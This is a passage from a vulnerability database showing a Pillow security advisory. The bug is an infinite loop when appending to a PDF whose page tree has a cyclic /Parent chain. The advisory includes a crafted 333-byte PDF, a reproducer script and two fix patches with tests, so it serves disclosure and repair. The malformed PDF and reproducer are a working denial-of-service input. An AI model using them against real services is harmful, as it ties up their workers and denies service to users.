"nvd_published_at": "2021-03-15T17:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SIMATIC S7-PLCSIM V5.4 (All versions). An attacker with local access to the system could cause a Denial-of-Service condition in the application when it is used to open a specially crafted file. As a consequence, the application could enter an infinite loop, become unresponsive and must be restarted to restore the service.",
"id": "GHSA-cxqw-29jq-pcjv",
"modified": "2022-05-24T17:44:34Z",
"published": "2022-05-24T17:44:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25673"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-256092.pdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F2G6-542V-9J58
Vulnerability from github – Published: 2026-10-21 21:21 – Updated: 2026-10-21 21:21============================================================================
Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls im.save(fp, "PDF", append=True) (or save_all=True, append=True) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.
The bug is in PdfParser.rewrite_pages() in src/PIL/PdfParser.py (the while pages_tree_node_ref: loop at line 505). For each original page, it walks the /Parent chain upward and stops only when it reaches a node with no /Parent. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a /Pages root that lists itself as its own /Parent; a longer cycle among page-tree nodes behaves the same way. The path is PdfImagePlugin._save() → write_catalog() → rewrite_pages(), and it is reached whether the save target is a file path or a BytesIO. Plain Image.open() pipelines are not affected, because Pillow only parses PDFs on the append path.
This is a sibling of CVE-2026-42310 (the cyclic trailer /Prev loop in the same parser). The processed_offsets guard added to read_prev_trailer() for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.
The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside rewrite_pages() when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.
Details
PdfParser.rewrite_pages() walks the /Parent chain of every pre-existing page upward and stops only when a node has no /Parent. It keeps no record of visited nodes, so a page-tree node whose /Parent points at itself, or at any node below it, makes the walk spin forever.
The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares /Parent 2 0 R:
%PDF-1.4
1 0 obj
<</Type /Catalog /Pages 2 0 R>>
endobj
2 0 obj
<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>
endobj
3 0 obj
<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>
endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000056 00000 n
0000000125 00000 n
trailer
<</Size 4 /Root 1 0 R>>
startxref
192
%%EOF
Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened r+b). Interrupting it with SIGALRM after 5 s gives this traceback every time:
File "src/PIL/PdfImagePlugin.py", line 263, in _save
existing_pdf.write_catalog()
File "src/PIL/PdfParser.py", line 473, in write_catalog
self.rewrite_pages()
File "src/PIL/PdfParser.py", line 505, in rewrite_pages
while pages_tree_node_ref:
The same file without /Parent 2 0 R on object 2 is appended to in ~30 ms.
The loop:
# src/PIL/PdfParser.py:483-510
def rewrite_pages(self) -> None:
pages_tree_nodes_to_delete = []
for i, page_ref in enumerate(self.orig_pages):
page_info = self.cached_objects[page_ref]
del self.xref_table[page_ref.object_id]
pages_tree_nodes_to_delete.append(page_info[PdfName(b"Parent")])
…
# delete redundant Pages tree nodes from xref table
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
pages_tree_node_ref = pages_tree_node.get(b"Parent", None)
self.orig_pages = []
How the input gets there: with append=True, PdfImagePlugin._save() opens the existing bytes with PdfParser.PdfParser(f=fp, …, mode="r+b") (src/PIL/PdfImagePlugin.py:199), whose constructor calls read_pdf_info(). That reads the catalog, reads the page-tree root through read_indirect() — which stores every object it reads in self.cached_objects (src/PIL/PdfParser.py:1077) — and flattens the tree with linearize_page_tree(), which read_indirect()s every /Kids entry. So after parsing, orig_pages == [3 0 R] and objects 2 and 3 are both in cached_objects. _save() then calls existing_pdf.write_catalog() → rewrite_pages().
For the file above, the first loop puts page 3's /Parent, 2 0 R, into pages_tree_nodes_to_delete. The inner while looks object 2 up in cached_objects, removes it from the xref table on the first pass, and sets pages_tree_node_ref to object 2's /Parent — which is 2 0 R again. Nothing in the loop body changes on subsequent iterations, so it never exits: cached_objects[2 0 R] is never evicted, and deleting an already-deleted id from XrefTable is silent — __delitem__ only records the id in deleted_entries, while __contains__ keeps answering from existing_entries. The loop performs no I/O and no allocation, so neither MemoryError nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through linearize_page_tree() and is therefore cached (e.g. root 2 → /Kids [4 0 R], node 4 → /Kids [3 0 R] /Parent 2 0 R, and root 2 declaring /Parent 4 0 R); a /Parent pointing at an object that was never read raises KeyError instead, which is harmless.
The parser already defends against exactly this shape of problem one level up: read_prev_trailer() (src/PIL/PdfParser.py:699-722) carries a processed_offsets list and raises PdfFormatError("trailer loop found") when a /Prev offset repeats — the fix for CVE-2026-42310. The /Parent walk in rewrite_pages() has no equivalent guard.
The unguarded walk was introduced in 24ecfe315ab5 ("issue #2959: fix wrong Parent of pre-existing Page objects when appending", 2018-03-03) and has been in every release since 5.1.0.
Impact
Any application that appends pages to a PDF it did not produce — im.save(fp, "PDF", append=True) or save_all=True, append=True on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain Image.open() pipelines are not affected.
This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer /Prev chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.
Reproducing
repro is a single Python script that runs against the installed Pillow (/src/src/PIL). It needs no build step and no companion files, and takes about 5 seconds.
The script builds two one-page PDFs in memory with make_pdf(). Each has a Catalog (object 1), a /Pages root (object 2) and a /Page (object 3), and each has a correct xref table. The only difference between them is in object 2:
controlhas<</Type /Pages /Kids [3 0 R] /Count 1>>. This is a normal file.cyclichas<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>, so the page-tree root names itself as its own/Parent. This is the 333-byte file shown above.
For each PDF the script prints the bytes and then calls Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) under a 5-second SIGALRM watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints OK without giving a verdict.
Expected output on this commit (PDF dumps omitted):
[control] append finished in 0.045s
[cyclic] still running after 5s, interrupted in:
save() /src/src/PIL/Image.py:2724 save_handler(self, fp, filename)
_save() /src/src/PIL/PdfImagePlugin.py:263 existing_pdf.write_catalog()
write_catalog() /src/src/PIL/PdfParser.py:473 self.rewrite_pages()
rewrite_pages() /src/src/PIL/PdfParser.py:506 pages_tree_node = self.cached_objects[pages_tree_node_ref]
...
BUG
The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The rewrite_pages() frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints OK. With attached patch 1 applied it prints [cyclic] append finished in 0.001s and OK. With attached patch 2 it prints [cyclic] raised PdfFormatError: page tree loop found and OK. The last line is BUG only when the cyclic append is still running when the watchdog fires.
Suggested fix
Both attached patches fix the root cause, which is that the /Parent walk in rewrite_pages() keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.
Attached patch 1 (tolerant; our preference) adds one processed_pages_tree_nodes set that is shared across all pages in the delete loop, and breaks out of the while as soon as it reaches a node it has already seen:
# src/PIL/PdfParser.py, rewrite_pages()
processed_pages_tree_nodes: set[IndirectReference] = set()
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
if pages_tree_node_ref in processed_pages_tree_nodes:
break
processed_pages_tree_nodes.add(pages_tree_node_ref)
…
Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.
Attached patch 2 (strict) follows the read_prev_trailer() guard from the CVE-2026-42310 fix. It keeps a processed_pages_tree_nodes list for each page and calls check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, "page tree loop found"), so a cyclic file is rejected with PdfFormatError. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from write_catalog(). By then the new page objects have already been written to the r+b file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.
Each patch also adds a test_page_tree_parent_loop regression test to Tests/test_pdfparser.py. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other /Parent walk exists in the parser, and linearize_page_tree() does not follow /Parent.
Note that this walk follows /Parent links, which nothing else in PdfParser reads: linearize_page_tree() only follows /Kids downward and never looks at /Parent, so a visited-set added to the /Kids recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped /Kids structure and still hangs; both walks need their own guard, and they are natural to land together as one "validate page tree while appending" change.
Related findings
- Exponential page tree expansion in
PdfParser.linearize_page_tree()(repeated/Kidsreferences) hangs PDF append — the downward counterpart of this bug in the same parser and on the sameImage.save(..., "PDF", append=True)entry point:linearize_page_tree()(src/PIL/PdfParser.py:1080-1094) recurses into every/Kidsentry and re-parses it viaread_indirect()with no visited set, so a/Pageschain whose nodes list the same child N times over D levels costs ND object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct/Kidscycle ends inRecursionError). It differs from this report in the link followed (/Kidsdown vs/Parentup), the function and phase (linearize_page_tree()duringread_pdf_info()in thePdfParserconstructor vsrewrite_pages()duringwrite_catalog()), the introducing commit (6207b44ab1ffvs24ecfe315ab5), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the/Parentwalk and leave the/Kidsreproducer hanging inlinearize_page_tree(), and the/Kidsguard conversely leaves this reproducer spinning inrewrite_pages()— verified by cross-applying each patch. Applied together (the/Kidsguard plus attached patch 2), both reproducers are rejected withPdfFormatError: page tree loop foundandTests/test_pdfparser.py+Tests/test_file_pdf.pypass (30 tests).
The patch (1 of 2)
Track visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF
Applies to src/PIL/PdfParser.py at the commit above.
diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py
index f2ae6b11f..f841aca14 100644
--- a/Tests/test_pdfparser.py
+++ b/Tests/test_pdfparser.py
@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None:
def test_trailer_loop() -> None:
with pytest.raises(PdfFormatError, match="trailer loop found"):
PdfParser("Tests/images/trailer_loop.pdf")
+
+
+@pytest.mark.timeout(5)
+def test_page_tree_parent_loop() -> None:
+ # the /Pages root names itself as its own /Parent
+ objects = [
+ b"<</Type /Catalog /Pages 2 0 R>>",
+ b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>",
+ b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
+ ]
+ b = BytesIO(b"%PDF-1.4\n")
+ offsets = []
+ for object_id, body in enumerate(objects, start=1):
+ offsets.append(b.tell())
+ b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body))
+ xref_offset = b.tell()
+ b.write(b"xref\n0 4\n0000000000 65535 f \n")
+ b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets))
+ b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset)
+
+ with PdfParser(f=b, mode="r+b") as pdf:
+ pdf.start_writing()
+ pdf.write_catalog()
+ pdf.write_xref_and_trailer()
+ assert 2 in pdf.xref_table.deleted_entries
diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..9260cd8e7 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -501,8 +501,14 @@ class PdfParser:
# replace the page reference with the new one
self.pages[j] = new_page_ref
# delete redundant Pages tree nodes from xref table
+ processed_pages_tree_nodes: set[IndirectReference] = set()
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
+ if pages_tree_node_ref in processed_pages_tree_nodes:
+ # ancestors are shared between pages, and a malformed
+ # /Parent chain may loop back on itself
+ break
+ processed_pages_tree_nodes.add(pages_tree_node_ref)
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
The patch (2 of 2)
Raise PdfFormatError("page tree loop found") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself
Applies to src/PIL/PdfParser.py at the commit above.
diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py
index f2ae6b11f..24faeefbc 100644
--- a/Tests/test_pdfparser.py
+++ b/Tests/test_pdfparser.py
@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None:
def test_trailer_loop() -> None:
with pytest.raises(PdfFormatError, match="trailer loop found"):
PdfParser("Tests/images/trailer_loop.pdf")
+
+
+@pytest.mark.timeout(5)
+def test_page_tree_parent_loop() -> None:
+ # the /Pages root names itself as its own /Parent
+ objects = [
+ b"<</Type /Catalog /Pages 2 0 R>>",
+ b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>",
+ b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
+ ]
+ b = BytesIO(b"%PDF-1.4\n")
+ offsets = []
+ for object_id, body in enumerate(objects, start=1):
+ offsets.append(b.tell())
+ b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body))
+ xref_offset = b.tell()
+ b.write(b"xref\n0 4\n0000000000 65535 f \n")
+ b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets))
+ b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset)
+
+ with PdfParser(f=b, mode="r+b") as pdf:
+ pdf.start_writing()
+ with pytest.raises(PdfFormatError, match="page tree loop found"):
+ pdf.write_catalog()
diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..9021b8d63 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -502,7 +502,13 @@ class PdfParser:
self.pages[j] = new_page_ref
# delete redundant Pages tree nodes from xref table
for pages_tree_node_ref in pages_tree_nodes_to_delete:
+ processed_pages_tree_nodes = []
while pages_tree_node_ref:
+ check_format_condition(
+ pages_tree_node_ref not in processed_pages_tree_nodes,
+ "page tree loop found",
+ )
+ processed_pages_tree_nodes.append(pages_tree_node_ref)
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
The reproducer
Reproducer —repro, 3,152 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
"""Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.
Appending an image to an existing PDF (im.save(fp, "PDF", append=True)) makes
rewrite_pages() walk each original page's /Parent chain upward until a node has
no /Parent. Nothing records which nodes were visited, so a /Pages node that
names itself as its own /Parent keeps the walk going forever.
We append a 4x4 image to two one-page PDFs that differ in one entry:
control - a normal PDF -> finishes in milliseconds
cyclic - the /Pages root also says /Parent 2 0 R -> never finishes
A SIGALRM watchdog interrupts the append and shows the line it was stuck on.
"""
import io
import signal
import time
import traceback
from PIL import Image
WATCHDOG_S = 5
def make_pdf(pages_root):
"""Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table."""
objects = [
b"<</Type /Catalog /Pages 2 0 R>>",
pages_root,
b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
]
pdf = bytearray(b"%PDF-1.4\n")
offsets = []
for num, body in enumerate(objects, start=1):
offsets.append(len(pdf))
pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body)
xref_offset = len(pdf)
pdf += b"xref\n0 4\n0000000000 65535 f \n"
pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets)
pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset
return bytes(pdf)
class StillRunning(BaseException):
pass
def on_alarm(signum, frame):
raise StillRunning
def append_image(name, pdf):
"""Append an image to `pdf`; return True if it finished before the watchdog."""
print(f"--- {name}: {len(pdf)}-byte PDF ---")
print(pdf.decode("latin-1"), end="")
signal.alarm(WATCHDOG_S)
start = time.monotonic()
try:
Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)
except StillRunning as e:
print(f"[{name}] still running after {WATCHDOG_S}s, interrupted in:")
for frame in traceback.extract_tb(e.__traceback__):
if "/PIL/" in frame.filename:
print(f" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}")
return False
except Exception as e: # rejecting the file is a correct, safe outcome
print(f"[{name}] raised {type(e).__name__}: {e}")
return True
finally:
signal.alarm(0)
print(f"[{name}] append finished in {time.monotonic() - start:.3f}s")
return True
signal.signal(signal.SIGALRM, on_alarm)
# Set up: the well-formed file is appended to instantly.
control = make_pdf(b"<</Type /Pages /Kids [3 0 R] /Count 1>>")
if not append_image("control", control):
print("control case did not finish; environment problem, no verdict")
print("OK")
raise SystemExit
# Attack: the same file, except the /Pages root is its own /Parent.
cyclic = make_pdf(b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>")
finished = append_image("cyclic", cyclic)
# Verify: a fixed parser finishes (or rejects the file) like the control.
print("BUG" if not finished else "OK")
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "5.1.0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112406"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T21:21:07Z",
"nvd_published_at": "2026-10-19T22:17:08Z",
"severity": "HIGH"
},
"details": "```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.\n\nThe bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` \u2192 `write_catalog()` \u2192 `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.\n\nThis is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.\n\nThe attached reproducer builds two in-memory PDFs and appends a 4\u00d74 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.\n\n## Details\n\n`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.\n\nThe following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\nendobj\n2 0 obj\n\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\nendobj\n3 0 obj\n\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000056 00000 n \n0000000125 00000 n \ntrailer\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\nstartxref\n192\n%%EOF\n```\n\n`Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:\n\n```\n File \"src/PIL/PdfImagePlugin.py\", line 263, in _save\n existing_pdf.write_catalog()\n File \"src/PIL/PdfParser.py\", line 473, in write_catalog\n self.rewrite_pages()\n File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages\n while pages_tree_node_ref:\n```\n\nThe same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.\n\nThe loop:\n\n```python\n# src/PIL/PdfParser.py:483-510\ndef rewrite_pages(self) -\u003e None:\n pages_tree_nodes_to_delete = []\n for i, page_ref in enumerate(self.orig_pages):\n page_info = self.cached_objects[page_ref]\n del self.xref_table[page_ref.object_id]\n pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")])\n \u2026\n # delete redundant Pages tree nodes from xref table\n for pages_tree_node_ref in pages_tree_nodes_to_delete:\n while pages_tree_node_ref:\n pages_tree_node = self.cached_objects[pages_tree_node_ref]\n if pages_tree_node_ref.object_id in self.xref_table:\n del self.xref_table[pages_tree_node_ref.object_id]\n pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None)\n self.orig_pages = []\n```\n\nHow the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, \u2026, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` \u2014 which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) \u2014 and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` \u2192 `rewrite_pages()`.\n\nFor the file above, the first loop puts page 3\u0027s `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2\u0027s `/Parent` \u2014 which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent \u2014 `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 \u2192 `/Kids [4 0 R]`, node 4 \u2192 `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.\n\nThe parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats \u2014 the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard.\n\nThe unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0.\n\n## Impact\n\nAny application that appends pages to a PDF it did not produce \u2014 `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document \u2014 hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected.\n\nThis is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds.\n\nThe script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2:\n\n- `control` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e`. This is a normal file.\n- `cyclic` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above.\n\nFor each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn\u0027t, the environment is broken, so the script prints `OK` without giving a verdict.\n\nExpected output on this commit (PDF dumps omitted):\n\n```\n[control] append finished in 0.045s\n[cyclic] still running after 5s, interrupted in:\n save() /src/src/PIL/Image.py:2724 save_handler(self, fp, filename)\n _save() /src/src/PIL/PdfImagePlugin.py:263 existing_pdf.write_catalog()\n write_catalog() /src/src/PIL/PdfParser.py:473 self.rewrite_pages()\n rewrite_pages() /src/src/PIL/PdfParser.py:506 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n ...\nBUG\n```\n\nThe innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505\u2013509. The `rewrite_pages()` frame is always there. The control\u0027s timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires.\n\n## Suggested fix\n\nBoth attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.\n\n**Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen:\n\n```python\n# src/PIL/PdfParser.py, rewrite_pages()\n processed_pages_tree_nodes: set[IndirectReference] = set()\n for pages_tree_node_ref in pages_tree_nodes_to_delete:\n while pages_tree_node_ref:\n if pages_tree_node_ref in processed_pages_tree_nodes:\n break\n processed_pages_tree_nodes.add(pages_tree_node_ref)\n \u2026\n```\n\nBreaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.\n\n**Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.\n\nEach patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`.\n\nNote that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change.\n\n## Related findings\n\n- **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** \u2014 the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs N\u003csup\u003eD\u003c/sup\u003e object parses (a 1.9 KB, 10-wide \u00d7 12-level file never returns; a 